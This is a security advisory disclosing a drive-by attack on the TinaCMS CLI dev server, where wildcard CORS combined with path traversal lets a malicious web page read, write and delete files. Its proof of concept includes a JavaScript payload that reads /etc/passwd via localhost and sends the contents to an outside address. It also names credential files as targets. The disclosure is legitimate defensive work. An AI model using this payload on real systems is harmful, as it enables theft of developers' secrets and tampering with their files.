GHSA-8pw3-9m7f-q734

## Summary The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.

## Details The TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests:

- packages/@tinacms/cli/src/server/server.ts: ``` app.use(cors()); ```

- packages/@tinacms/cli/src/next/vite/plugins.ts: ``` server.middlewares.use(cors()); ``` When combined with the path traversal vulnerability, this creates a complete attack chain. ## Attack Scenario

### Prerequisites 1. Developer runs `tinacms dev` (default port 4001) 2. Developer visits attacker's website while TinaCMS is running

**No other conditions required** - the dev server doesn't need to be: - Exposed to the internet - Bound to 0.0.0.0 - Accessible outside localhost

### Attack Flow 1. Developer starts TinaCMS: `tinacms dev` 2. Developer browses the web (checking email, social media, etc.) 3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.) 4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files 5. Files are exfiltrated to attacker's server

## PoC ### Attacker's Malicious Website (evil.html): ``` <script> fetch('http://localhost:4001/../../../etc/passwd') .then(r => r.text()) .then(data => { // Exfil via GET const img = new Image(); img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data); }); </script> ``` ### Demonstration

**Step 1:** Start TinaCMS dev server ```bash tinacms dev # Server running on http://localhost:4001 ```

**Step 2:** Host evil.html on attacker server ```bash python3 -m http.server 8000 ```

**Step 3:** Developer visits `http://attacker-server:8000/evil.html`

**Result:** The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: *, the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server. <img width="1900" height="366" alt="image" src="https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617" />

## Impact ### Who is affected Every developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.

### What an attacker achieves By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:

1. **Enumerate the developer's filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names across the entire filesystem 2. **Discover sensitive files** locate `.env`, `.git/config`, SSH keys, cloud credentials, database configs 3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts 4. **Delete arbitrary files** via `/media/` DELETE with path traversal